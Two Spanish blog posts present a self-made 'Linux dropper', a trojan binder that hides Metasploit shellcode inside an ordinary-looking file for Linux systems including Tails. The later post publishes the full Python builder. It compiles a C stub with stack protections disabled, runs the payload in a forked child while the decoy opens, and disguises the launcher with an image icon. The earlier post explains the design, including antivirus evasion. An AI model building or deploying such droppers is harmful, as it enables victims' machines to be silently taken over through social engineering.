lunes, 2 de noviembre de 2015

Mitos, Leyendas y Fantasías - Parte 2b

En el artículo anterior de esta serie, examinamos la famosa técnica del "executable dropper", usualmente empleada en Windows, pero adaptada para Linux, específicamente a la distribución Tails. En aquella demostración nos enfocamos meramente en el aspecto técnico de la implementación de este ataque, sin prestar demasiada atención a sus aspectos acompañantes de ingeniería social.

En consecuencia, recibimos algunos comentarios que objetaban principalmente dos puntos de nuestra prueba de concepto, ambas aplicables a la distribución Debian con LXDE:

1.- Al menos en otras distribuciones, al tratar de abrir nuestro troyano se desplegaban advertencias que indicaban que se está tratando de abrir un ejecutable. El sistema operativo es muy explícito en preguntar si el usuario está seguro de lo que está haciendo.
2.- El ícono ejecutable del troyano es una señal inconfundible para un usuario medianamente acostumbrado a usar cualquier distribución de Linux. En consecuencia, sólo "L-users" muy poco acostumbrados a usar Linux caerían en esta trampa.

Ambas objeciones tienen poco que ver con la técnica del "executable dropper" y más con la implementación de estos ataques de forma práctica (i.e. en el campo). Como es usual, estos detalles de campo se dejan por fuera de las pruebas de concepto por distintas razones, pero la principal es para no distraer la atención de la técnica demostrada.

Sin embargo, para aclarar estas dudas y para demostrar que estas pruebas de concepto se pueden hacer tan prácticas como se quiera, he realizado un video con la siguiente versión de mi "Linux_dropper". Esta versión está específicamente diseñada para evadir las dos señales objetadas en Debian con LXDE. Es importante agregar que las técnicas utilizadas para evadirlas en este ambiente específico no necesariamente funcionarían en cualquier otra distribución. Sin embargo, puedo asegurar, sin mucho temor a equivocarme, que siempre es posible lograrlo, no importa la distribución o ambiente específico tratado. Como siempre, pero sobre todo en esta profesión, con suficientes recursos y motivación, _todo es posible_. Espero que con esta demostración se pueda apreciar el verdadero alcance de esta técnica de una forma más apegada a cómo se llevaría a cabo este ataque en la vida real. Que disfruten de la nueva paranoia:




PD: Los elementos adicionales agregados al script anterior para lograr este nivel de ingeniería social se dejan como tarea al lector. Lo siento, "secrets of the trade" ;-).

PD2: Si, "secrets of the trade", pero para estar en linea con los amigos de Offensive Security: "I can be bribed, though".

Actualización: La demanda popular me convenció a publicar el código  de este dropper.
Advertencia: El código a continuación podría probablemente usarse de ejemplo para todo lo que *no* debe hacerse al programar. Como siempre, estas cosas son el producto de unos cuantos minutos de ocio que se juntan con un poquito de curiosidad. Aquí hay cualquier cantidad de oportunidad de mejora y hasta para hacerlo que funcione correctamente en casos generales. Pero a falta de tiempo para hacerlo y para no frenar al resto de Internet, aquí esta:

#! /usr/bin/python
import subprocess,sys

def get_host_bytes(f):
 res = ""
 with open(f, "rb") as f:
         byte = f.read(1)
         while byte != b"":
                 # Do stuff with byte.
                 res += str(ord(byte)) + ","
                 byte = f.read(1)
 return res

def execute_os(cmd):
 cmd_array = cmd.split()
 p = subprocess.Popen(cmd_array, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
 res, err = p.communicate()
 print err
 return res

if len(sys.argv) < 3:
 print "Usage: " + sys.argv[0] + " <.odt|.avi|.jpg|.*> "
 sys.exit(0)

flags = "-m32 -z execstack -fno-stack-protector"

if "x64" in sys.argv[2]:
 flags = "-m64 -z execstack -fno-stack-protector"

host_name = sys.argv[1]
bs = get_host_bytes(host_name)
se_binary = ".self_extracting_archive"
se_desktop = "Extract.both.files.on" + ".desktop"

#payload_cmd = "msfvenom -p windows/shell_bind_tcp -f c"
payload_cmd = sys.argv[2]
payload = execute_os(payload_cmd)

host_skel = '''#include <stdlib.h>
#include <stdio.h>

%s
unsigned char host[] = {%s};
unsigned char host_output[] = "/tmp/%s";
FILE * fp;
pid_t p;

int main(void){

 fp = fopen(host_output, "w");
 fwrite(host,1,sizeof(host),fp);
 fclose(fp);
 
 p = fork();
        if (p == 0){
                ((void (*)()) buf)();
        } else {
  system("xdg-open /tmp/%s");
 }

}
''' 

hh = host_skel % (payload,bs,host_name,host_name)
c_code = open("/tmp/x.c","w")
c_code.write(hh)
c_code.close()

# Icon=gnome-mime-image-jpeg for jpg
# TODO if jpeg then else
icon = "gnome-mime-image-jpeg"

dfile_skel = '''[Desktop Entry]
Version=1.0
Type=Application
Name=%s
Exec=bash -c '"$(dirname "$1")"/%s' dummy %%k/t
Icon=%s
'''

dfile_txt = dfile_skel % (host_name,se_binary, icon)

dfile = open(se_desktop,"w")
dfile.write(dfile_txt)
dfile.close()

cmd_array = ["gcc"] + flags.split() + ["-o", ".self_extracting_archive", "/tmp/x.c"]
p = subprocess.Popen(cmd_array, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
res, err = p.communicate()
print err

create_zip = "zip %s.zip %s %s" % (host_name, se_binary, se_desktop)
execute_os(create_zip)

delete_temps = "rm -f /tmp/x.c %s %s" % (se_binary, se_desktop)
execute_os(delete_temps)



lunes, 26 de octubre de 2015

En Windows o en Linux, el “hacking” es el mismo. (Mitos, Leyendas y Fantasías - Parte 2)


En el artículo anterior de esta serie argumentamos las razones por las que la supuesta vulnerabilidad de los sistemas Windows están basados más en sus operadores que en el sistema operativo en sí. Sin embargo, es difícil demostrar explícitamente este tipo de afirmaciones cuando hay tan pocos incentivos para los desarrolladores de sistemas de vulneración para desarrollar código ofensivo dirigido a atacar Linux, por ejemplo. Con la idea de ir un poco en contra de esta tendencia, decidí invertir una tarde para seleccionar alguna técnica de vulneración en Windows y ejecutarla en Linux, demostrando así que el hacking es igual de sencillo. No importa a quien se lo hagan.

La técnica ganadora fue la bien conocida técnica del “executable dropper.” Los programas que se utilizan para ejecutar esta técnica de ataque a veces son llamados “joiners” o “binders.” Todos estos términos son técnicamente incorrectos, sin embargo, la técnica es muy fácil de describir. La idea es crear un ejecutable que parezca un archivo completamente distinto y que pueda interesar a tu víctima. Una vez la víctima es convencida de “abrir” este troyano, el contenido esperado es mostrado, sin embargo, al mismo tiempo, el código malicioso es ejecutado silenciosamente. Con éste último, el atacante obtiene control total del equipo de su víctima sin que ésta tenga la más mínima sospecha. Como ejemplo de este ataque en Windows, hace poco ví un video bastante interesante:


Inspirados en este video, decidí diseñar mi solución para Linux con los siguientes requerimientos:
  1. Creación automática del ejecutable troyano.
  2. La ejecución del troyano debe desplegar el archivo original y al mismo tiempo el payload requerido por el atacante.
  3. La selección de la aplicación que finalmente abre el contenido legítimo debe hacerse de forma automática (como sucede en Windows).
  4. El payload debe ser arbitrario y debe poder integrarse con Metasploit.
  5. La interacción requerida por el usuario no debe ser mayor a hacer un doble click sobre el troyano, de la misma forma que sucede en el caso de Windows.
  6. La solución debe ser lo suficientemente flexible para poder modificar el ejecutable resultante y poder evadir soluciones antivirus fácilmente.
Para el primer punto, la decisión es muy fácil. Usando cualquier lenguaje de scripting, desde Kali linux tenemos todas las herramientas que necesitamos para la creación del binario final. Yo selecioné python, pero casi cualquier otro debe ser igual de efectivo. Ahora bien, para el binario final, podemos usar casi cualquier cosa también, sin embargo, yo decidí utilizar un ejecutable en format ELF para hacerlo lo más equivalente al caso de Windows. Es posible que selecciones de otros formatos tengan resultados iguales o incluso mejores, como veremos más adelante.

Para el segundo punto, la solución también es muy sencilla. El ejecutable simplemente debe hacer un “fork()” y ejecutar en el proceso hijo, nuestro payload. Para ésto, utilizamos la bien conocida técnica de "cast to a function". Esto implica que debemos recordar compilar sin las contramedidas de stack no ejecutable, etc. Mientras tanto, en el proceso padre, ejecutamos las instrucciones que sean necesarias para desplegar el archivo original. El esqueleto de nuestro programa en pseudo-C sería más o menos así:

#include <stdio.h>
#include <stdlib.h>

%s
unsigned char host[] = {%s};
unsigned char host_output[] = "/tmp/%s";
FILE * fp;
pid_t p;

int main(void){

   fp = fopen(host_output, "w");
   fwrite(host,1,sizeof(host),fp);
   fclose(fp);

   p = fork();

   if (p == 0){
      ((void (*)()) buf)();
   } else {
      system("xdg-open /tmp/%s");
   }
}

en donde tenemos que reemplazar esos %s con los siguientes strings:

% (payload,byte_array_with_original_data_file,host_file_name,host_file_name)

La variable “payload” es sencilla de poblar, simplemente usamos el resultado de msfvenom con formato C (opción -f c). La variable “byte_array_with_original_data_file” no es más que la representación en bytes del archivo original, al que queremos “troyanizar.” Finalmente, la variable “host_file_name” no es más que el archivo original, que lo usamos tanto para el nombre final de nuestro troyano, como para obtener los bytes que estarán embebidos en nuestro ejecutable final.

Despues de armar este string con python, lo único que hace falta es
compilarlo con las “flags” adecuadas y listo. Tenemos nuestro propio “binder” para Linux que sirve para cualquier tipo de archivo. Esto quiere decir que podemos “troyanizar” archivos .doc, .pdf, .mp3, .mp4, .xls, .odt, o cualquier otro que se nos ocurra - o que todavía no exista! (Back to the future). Por supuesto, hace falta darse cuenta de algunos detalles adicionales que son propios de la experiencia de campo, pero eso lo dejamos como ejercicio para el lector.

El tercer requerimiento es cumplido haciendo una simple llamada al sistema con el comando: “xdg-open.” Este comando selecciona la aplicación que por defecto se encarga de abrir aplicaciones de este tipo y simplemente la ejecuta. El uso de este comando se puede ver en nuestro esqueleto de pseudo-C mostrado más arriba.

El cuarto requerimiento es solucionado muy fácilmente haciendo uso del formato de salida en C de msfvenom. Despues de almacenar nuestro payload en la variable “buf”, sólo queda hacer un cast a una función y ejecutarla. Ésto se puede ver en nuestro primer %s (placeholder) de pseudo-C presentado más arriba.

Finalmente, los últimos dos requerimientos se ganan de forma gratuita al haber seleccionado cuidadosamente las técnicas descritas anteriormente.

Decidimos probar como primera víctima a Tails, la distribución de Linux enfocada a la privacidad de sus usuarios. Sin embargo, la misma técnica funciona exactamente igual en casi cualquier otra distribución de Linux. A continuación, un video, que es mucho mejor que mil palabras.


PD: Si quieres ayudarme a probar mi script “linux_dropper.py” en otras distribuciones no basadas en gnome, escribeme aquí. Gracias! :D